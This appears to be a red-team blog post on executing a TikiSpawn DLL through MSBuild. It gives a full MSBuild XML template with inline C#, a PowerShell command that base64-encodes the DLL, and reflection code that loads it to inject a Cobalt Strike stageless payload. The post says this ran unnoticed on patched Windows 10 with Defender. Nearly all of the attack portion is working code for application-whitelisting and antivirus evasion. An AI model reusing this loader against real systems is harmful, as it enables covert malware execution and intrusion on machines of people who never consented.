TikiSpawn & MSBuild

The main impetus behind this post was me experimenting with ways to leverage TikiSpawn with some of the popular lolbins.

TikiSpawn was of course designed as a DLL that could be converted to JScript, VBScript and VBA using James Forshaw’s DotNetToJScript, which could in turn be executed using regsvr32, wmic, mshta and others. However, we’ve seen Microsoft push back with two main tactics.

MSBuild has been known as a lolbin for some time, as it can execute arbitrary inline C# from an xml or csproj file. The challenge with TikiTorch is that projects like TikiSpawn leverage the TikiLoader, which is it’s own independant project, and also quite large. So instead of copy/pasting massive chunks of C# into an XML file, one simple method is to compile the TikiSpawn DLL, base64 encode it, and use MSBuild to load it via reflection.

XML

This is the XML template I used, adapted from 3gstudent.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="TikiTorch">
    <TikiSpawn />
  </Target>
  <UsingTask
    TaskName="TikiSpawn"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[

          using System;
          using System.Reflection;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;

          public class TikiSpawn : Task, ITask
          {    
            public override bool Execute()
            {
              Console.WriteLine("Hello World!");
              return true;
            }
          }

      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Running MSBuild provides the expected output.

The main modification to the TikiSpawn source code is to make the Flame() function a public static.

For shellcode.txt, I use Cobalt Strike’s stageless raw payload and run it through Get-CompressedShellcode.ps1.

Now base64 encode the TikiSpawn DLL and put it into the XML template along with the reflection code.

PS C:\Tools> [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Tools\TikiTorch\TikiSpawn\bin\Debug\TikiSpawn.dll")) | clip
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="TikiTorch">
    <TikiSpawn />
  </Target>
  <UsingTask
    TaskName="TikiSpawn"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[

          using System;
          using System.Reflection;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;

          public class TikiSpawn : Task, ITask
          {
            public const string Dll = "TVqQ[...snip...]AAA=";

            public override bool Execute()
            {
              Assembly TikiSpawn = Assembly.Load(Convert.FromBase64String(Dll));

              Type type = TikiSpawn.GetType("TikiSpawn");
              object instance = Activator.CreateInstance(type);

              type.InvokeMember("Flame",
                BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public,
                null,
                instance,
                new object[] { });

              return true;
            }
          }

      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Closing

This was tested on a fully patched Windows 10 1903 build with Defender. There’s nothing new here, just fun to do it using TikiSpawn.